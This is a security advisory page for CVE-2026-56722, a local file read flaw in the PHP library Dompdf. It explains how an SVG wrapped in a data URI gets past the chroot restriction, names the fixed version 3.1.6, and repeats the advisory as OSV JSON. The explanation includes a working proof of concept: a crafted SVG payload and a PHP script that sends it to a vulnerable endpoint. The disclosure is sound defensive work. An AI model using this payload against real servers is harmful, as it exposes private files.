CVE-2026-56722: Dompdf Local File Read Due To Vulnerability

MODERATE
Advisory Identifier: GHSA-cx96-42px-69fm
Share
CWE-20 CWE-22
Published
Advisory Summary

CVE-2026-56722 is a MODERATE local file read due to vulnerability (CWE-20: Improper Input Validation) affecting Dompdf libraries in the Packagist ecosystem. The issue involves local file read due to improper file path validation in svg images encoded as data-uri. Remediation is available by upgrading affected packages to version 3.1.6.

CVE-2026-56722 at a Glance

CVE Identifier CVE-2026-56722
GHSA Identifier GHSA-cx96-42px-69fm
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-20: Improper Input Validation
Affected Product Dompdf
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-56722

To remediate this vulnerability, upgrade all affected Dompdf dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dompdf/dompdf fixed: 3.1.6 
Upgrade dompdf/dompdf to 3.1.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for dompdf/dompdf

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-56722, inspect your project dependencies for Dompdf:

inspect dependencies for dompdf/dompdf

Analyze the terminal output to locate any version of Dompdf in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Dompdf, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Description:** An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the `chroot` restriction. The vulnerability is exploitable in the default configuration. **Exploitation conditions:** An external user **Researcher:** Nikita Sveshnikov (Positive Technologies) ## Research dompdf restricts access to local files using the `chroot` mechanism. By default, `chroot` is set to the root directory of dompdf (`Options.php:350-351`): _Listing 1. `chroot` settings_ ``` $rootDir = realpath(__DIR__ . "/../"); $this->setChroot(array($rootDir)); // result: chroot = ["/path/to/vendor/dompdf/dompdf"] ``` When the HTML references a local file, `Options::validateLocalUri()` checks that the path resides within `сhroot`. A direct link to the file outside this directory is correctly blocked: _Listing 2. Blocking link_ ``` <!-- BLOCKED: /tmp/ is outside chroot --> <img src="file:///tmp/secret.png"> ``` ### How the protection is bypassed: An attacker wraps the link to the target file in SVG format and delivers it via `data:` URI: _Listing 3. Wrapping link in SVG_ ``` <img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0i..."> ``` Inside the base64 payload is an SVG containing the `<image>` element that points to the target file: _Listing 4. Pointing to the target file_ ``` <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415"> <image xlink:href="/tmp/secret.png" x="0" y="0" width="589" height="415"/> </svg> ``` ### Why the bypass works: The issue is that dompdf handles the SVG twice: first through its own validator and then via  `php-svg-lib` — and the second pass does not apply the protection that the first pass does. **Step 1.** The `data://` protocol has no validation rules (`Options.php:546-547`): _Listing 5. Lack of rules_ ``` case "data://": break; // no rules ``` SVG content passes without any checks. **Step 2.** dompdf pre‑parses the SVG and validates the links inside it (`Cache.php:137-183`), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded. **Step 3.** When rendering, the PDF backend passes the SVG to `php-svg-lib` with external links enabled (`lib/Cpdf.php:6315-6319`): _Listing 6. Passing the SVG_ ``` $doc = new \Svg\Document(); $doc->allowExternalReferences = true; // forced $doc->loadFile($file); ``` `php-svg-lib` is a separate library that has no information about the `chroot` directory or the dompdf validation rules. **Step 4.** The `<image>` handler in `php-svg-lib` blocks only `phar://`, everything else is allowed when allowExternalReferences is true (`php-svg-lib/src/Svg/Tag/Image.php:60-68`): _Listing 7. `phar://` blocking_ ``` if ($scheme === "phar" || ($this->document->allowExternalReferences === false && $scheme !== "data")) { return; } $this->document->getSurface()->drawImage($this->href, ...); ``` **Step 5.** `drawImage()` invokes `file_get_contents()` with no restrictions (`php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172`): _Listing 8. `file_get_contents()` call_ ``` $data = file_get_contents($image); // reads ANY path ``` There is no chroot check. No protocol validation. The file is read and embedded into the PDF. ### An example of exploitation: _Listing 9. An example of a vulnerable code (html2pdf.php)_ ``` require_once __DIR__ . '/vendor/autoload.php'; $dompdf = new Dompdf\Dompdf(); $dompdf->loadHtml($_POST['html']); $dompdf->render(); $dompdf->stream('poc.pdf', ['Attachment' => false]); ``` _Listing 10. An example attack on the vulnerable code_ ``` $file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png'; $svg = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415">' . '<image xlink:href="' . htmlspecialchars($file, ENT_QUOTES) . '" x="0" y="0" width="589" height="415"/>' . '</svg>'; $html = '<html><body>' . '<img src="data:image/svg+xml;base64,' . base64_encode($svg) . '">' . '</body></html>'; $url = 'http://example.com/html2pdf.php'; $data = ['html' => $html]; $headers = ["Content-type: application/x-www-form-urlencoded"]; // use key 'http' even if you send the request to https://... $options = [ 'http' => [ 'header' => $headers, 'method' => 'POST', 'content' => http_build_query($data), 'ignore_errors' => true, ], ]; $context = stream_context_create($options); $response = file_get_contents($url, false, $context); ``` _Figure 1. The image was read successfully_ <img width="875" height="404" alt="image" src="https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2" /> ## Credits Nikita Sveshnikov (Positive Technologies)

CVE-2026-56722 Affected Dompdf Versions

1 component(s)
Fixed Versions:
3.1.6
Product / Package Ecosystem Affected Versions Fixed Version
dompdf/dompdf
 Packagist
< 3.1.6
3.1.6

References

GitHub Advisory / Wiki ADVISORY
https://github.com/dompdf/dompdf/security/advisories/GHSA-cx96-42px-69fm
Security Fix Commit FIX COMMIT
https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0
Security Fix Commit FIX COMMIT
https://github.com/dompdf/dompdf/commit/bf7b02f642e26007dedc5a22b3d6e15f9931120a
Dompdf Source Repository REPOSITORY
https://github.com/dompdf/dompdf
Dompdf Release RELEASE
https://github.com/dompdf/dompdf/releases/tag/v3.1.6

Frequently Asked Questions

What is CVE-2026-56722?
CVE-2026-56722 is a security vulnerability in Dompdf involving Local file read due to improper file path validation in SVG images encoded as data-URI under CWE-20: Improper Input Validation.
Which Dompdf versions are affected?
Affected versions include releases prior to 3.1.6 across affected packages: dompdf/dompdf.
What version fixes CVE-2026-56722?
Upgrading to 3.1.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dompdf/dompdf affected?
Yes, dompdf/dompdf is affected in releases prior to 3.1.6. Upgrade your dependency to 3.1.6 or later.
What CWE is associated with CVE-2026-56722?
CVE-2026-56722 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check Packagist dependencies for CVE-2026-56722?
Run the dependency tree command: 'inspect dependencies for dompdf/dompdf'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cx96-42px-69fm",
  "modified" : "2026-07-22T21:30:01Z",
  "published" : "2026-07-22T21:30:01Z",
  "aliases" : [ "CVE-2026-56722" ],
  "summary" : "Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI",
  "details" : "**Description:** An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the `chroot` restriction. The vulnerability is exploitable in the default configuration.\n**Exploitation conditions:** An external user\n**Researcher:** Nikita Sveshnikov (Positive Technologies)\n\n## Research\ndompdf restricts access to local files using the `chroot` mechanism. By default, `chroot` is set to the root directory of dompdf (`Options.php:350-351`):\n\n_Listing 1. `chroot` settings_\n```\n$rootDir = realpath(__DIR__ . \"/../\");\n$this->setChroot(array($rootDir));\n// result: chroot = [\"/path/to/vendor/dompdf/dompdf\"]\n```\nWhen the HTML references a local file, `Options::validateLocalUri()` checks that the path resides within `сhroot`. A direct link to the file outside this directory is correctly blocked:\n\n_Listing 2. Blocking link_\n```\n<!-- BLOCKED: /tmp/ is outside chroot -->\n<img src=\"file:///tmp/secret.png\">\n```\n### How the protection is bypassed:\nAn attacker wraps the link to the target file in SVG format and delivers it via `data:` URI:\n\n_Listing 3. Wrapping link in SVG_\n```\n<img src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...\">\n```\nInside the base64 payload is an SVG containing the `<image>` element that points to the target file:\n\n_Listing 4. Pointing to the target file_\n```\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n     width=\"589\" height=\"415\">\n  <image xlink:href=\"/tmp/secret.png\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/>\n</svg>\n```\n### Why the bypass works:\nThe issue is that dompdf handles the SVG twice: first through its own validator and then via  `php-svg-lib` — and the second pass does not apply the protection that the first pass does.\n\n**Step 1.** The `data://` protocol has no validation rules (`Options.php:546-547`):\n\n_Listing 5. Lack of rules_\n```\ncase \"data://\":\n    break;  // no rules\n```\n\nSVG content passes without any checks.\n\n**Step 2.** dompdf pre‑parses the SVG and validates the links inside it (`Cache.php:137-183`), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.\n\n**Step 3.** When rendering, the PDF backend passes the SVG to `php-svg-lib` with external links enabled (`lib/Cpdf.php:6315-6319`):\n\n_Listing 6. Passing the SVG_\n```\n$doc = new \\Svg\\Document();\n$doc->allowExternalReferences = true;  // forced\n$doc->loadFile($file);\n```\n`php-svg-lib` is a separate library that has no information about the `chroot` directory or the dompdf validation rules.\n\n**Step 4.** The `<image>` handler in `php-svg-lib` blocks only `phar://`, everything else is allowed when allowExternalReferences is true (`php-svg-lib/src/Svg/Tag/Image.php:60-68`):\n\n_Listing 7. `phar://` blocking_\n```\nif ($scheme === \"phar\"\n    || ($this->document->allowExternalReferences === false && $scheme !== \"data\")) {\n    return;\n}\n$this->document->getSurface()->drawImage($this->href, ...);\n```\n**Step 5.** `drawImage()` invokes `file_get_contents()` with no restrictions (`php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172`):\n\n_Listing 8. `file_get_contents()` call_\n```\n$data = file_get_contents($image);  // reads ANY path\n```\nThere is no chroot check. No protocol validation. The file is read and embedded into the PDF.\n\n### An example of exploitation:\n_Listing 9. An example of a vulnerable code (html2pdf.php)_\n```\nrequire_once __DIR__ . '/vendor/autoload.php';\n\n$dompdf = new Dompdf\\Dompdf();\n$dompdf->loadHtml($_POST['html']);\n$dompdf->render();\n$dompdf->stream('poc.pdf', ['Attachment' => false]);\n```\n\n_Listing 10. An example attack on the vulnerable code_\n```\n$file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png';\n\n$svg = '<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"589\" height=\"415\">'\n     . '<image xlink:href=\"' . htmlspecialchars($file, ENT_QUOTES) . '\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/>'\n     . '</svg>';\n\n$html = '<html><body>'\n      . '<img src=\"data:image/svg+xml;base64,' . base64_encode($svg) . '\">'\n      . '</body></html>';\n\n$url = 'http://example.com/html2pdf.php';\n$data = ['html' => $html];\n$headers = [\"Content-type: application/x-www-form-urlencoded\"];\n\n// use key 'http' even if you send the request to https://...\n$options = [\n    'http' => [\n        'header' => $headers,\n        'method' => 'POST',\n        'content' => http_build_query($data),\n        'ignore_errors' => true,\n    ],\n];\n$context = stream_context_create($options);\n$response = file_get_contents($url, false, $context);\n```\n\n_Figure 1. The image was read successfully_\n<img width=\"875\" height=\"404\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2\" />\n\n## Credits\nNikita Sveshnikov (Positive Technologies)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "dompdf/dompdf"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/dompdf/security/advisories/GHSA-cx96-42px-69fm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/dompdf/commit/bf7b02f642e26007dedc5a22b3d6e15f9931120a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dompdf/dompdf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-22T21:30:01Z",
    "nvd_published_at" : null
  }
}